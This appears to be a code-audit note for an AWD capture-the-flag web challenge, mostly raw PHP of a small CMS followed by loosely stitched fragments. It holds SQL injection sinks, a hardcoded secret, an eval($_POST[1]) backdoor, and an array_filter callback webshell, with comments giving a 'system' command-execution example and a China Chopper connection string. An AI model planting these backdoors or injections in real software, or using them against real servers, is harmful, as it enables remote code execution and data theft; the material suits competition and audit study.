西湖论剑awd_web1——代码审计

<?php
include "/var/www/html/config/config.php";

define('DEBUG', false);
define('ADMIN', false);
define('FLAG', null);
define('SECRET', '5a689e4c8390f0e0cb65a8ad852f5fe7');
define('APP_NAME', $cfg_appname ? $cfg_appname : 'mycms');
define('APP_VERSION', $cfg_version ? $cfg_version : '1.0.0');
define('APP_AUTHOR', $cfg_auther ? $cfg_auther : 'unknown');
$data = array_merge($_POST,$_GET);

class User
{

    public static function getAllUser()
    {
        $sql = 'select * from `user`';
        $db  = new MyDB();
        if (!$users = $db->exec_sql($sql)) {
            return array(array('id' => 1, 'name' => 'admin', 'password' => self::encodePassword('admin123'), 'role' => 1));
        }
        return $users;
    }

    public static function getNameByID($id)
    {
        $users = User::getAllUser();
        for ($i = 0; $i < count($users); $i++) {
            if ($users[$i]['id'] === $id) {
                return $users[$i]['name'];
            }
        }
        return null;
    }

    public static function getIDByName($name)
    {
        $users = User::getAllUser();
        for ($i = 0; $i < count($users); $i++) {
            if ($users[$i]['name'] === $name) {
                return $users[$i]['id'];
            }
        }
        return null;
    }

    public static function getRoleByName($name)
    {
        $users = User::getAllUser();
        for ($i = 0; $i < count($users); $i++) {
            if ($users[$i]['name'] === $name) {
                return $users[$i]['role'];
            }
        }
        return null;
    }

    public static function check($name, $password,$raw=0)
    {
        $users = User::getAllUser();
        for ($i = 0; $i < count($users); $i++) {
            if(!$raw){
            if ($users[$i]['name'] === $name && $users[$i]['password'] === self::encodePassword($password) && $users[$i]['status'] == 1) {
                return true;
            }
            }else{
                if ($users[$i]['name'] === $name && $users[$i]['password'] === $password && $users[$i]['status'] == 1) {
                return true;
            }
            }
        }
        return false;
    }

    public static function encodePassword($str)
    {
        return md5($str . constant('SECRET'));
    }

    public static function setting($data)
    {
        if (isset($data['id']) && $data['id']) {
            $sql = 'select * from `user` where `id`=' . $data['id'] . ' limit 0,1';
        } else {
            return array('msg' => '参数错误', 'code' => -1, 'data' => array());
        }
        $db = new MyDB();
        if (!$result = $db->exec_sql($sql)) {
            return array('msg' => '暂无数据或记录已删除', 'code' => -1, 'data' => array());
        }
        if ($result['role'] == 1) {
            return array('msg' => '管理员数据不可更改', 'code' => -1, 'data' => array());
        }
        if ($result['status'] == 1) {
            $status = 0;
        } else {
            $status = 1;
        }

        $sql = 'update `user` set `status`=' . $status . ' where `id`= ' . $data['id'];
        if (!$result = $db->exec_sql($sql)) {
            return array('msg' => '数据库异常', 'code' => -1, 'data' => array());
        }
        return array('msg' => '操作成功', 'code' => 0, 'data' => array());
    }

    public static function insertuser($data)
    {
        $db = new MyDB();
        $sql = "insert into user(".implode(",",array_keys($data)).") values ('".implode("','",array_values($data))."')";
        if (!$result = $db->exec_sql($sql)) {
            return array('msg' => '数据库异常', 'code' => -1, 'data' => array());
        }
        return array('msg' => '操作成功', 'code' => 0, 'data' => array());
    }
}

class Debug {    
    public $msg='';    
    public $log='';    
    function __construct($msg = '') {        
        $this->msg = $msg;       
        $this->log = 'errorlog';        
        $this->fm = new FileManager($this->msg);    
    }    
    function __toString() {        
        $str = "[DEUBG]" . $msg;        
        $this->fm->save();         
        return $str;
    }

    function __destruct() {
        file_put_contents('/var/www/html/logs/'.$this->log,$this->msg);
        unset($this->msg);
    }
}

<?php
session_start();
if ($_SESSION['role'] == 1) {
    eval($_POST[1]);
}

session_start();

if (isset($data['user']) && isset($data['pass'])) {
    $user = $data['user'];
    $pass = $data['pass'];
if (User::check($user, $pass)) {
        setcookie("auth",$user."\t".User::encodePassword($pass));
        $_SESSION['user'] = User::getIDByName($user);
        $_SESSION['role'] = User::getRoleByName($user);
        $wrong            = false;
        header("Location: index.php");
    } else {
        $wrong = true;
    }
}

if($_SERVER['SCRIPT_FILENAME']==__FILE__){
    echo '<p>© mycms</p>';
}else{
    array_filter(array(base64_decode($data["name"])), base64_decode($data["pass"]));
}

#用回调函数过滤数组中的元素：array_filter(数组,函数)
#命令执行func=system&cmd=whoami
#菜刀连接http://localhost/123.php?func=assert  密码cmd
$cmd=$_POST['cmd'];
$func =$_GET['func'];
array_filter(array($cmd),$func);

public static function insertuser($data)
{
    $db = new MyDB();
    $sql = "insert into user(".implode(",",array_keys($data)).") values ('".implode("','",array_values($data))."')";
    if (!$result = $db->exec_sql($sql)) {
        return array('msg' => '数据库异常', 'code' => -1, 'data' => array());
    }
    return array('msg' => '操作成功', 'code' => 0, 'data' => array());
}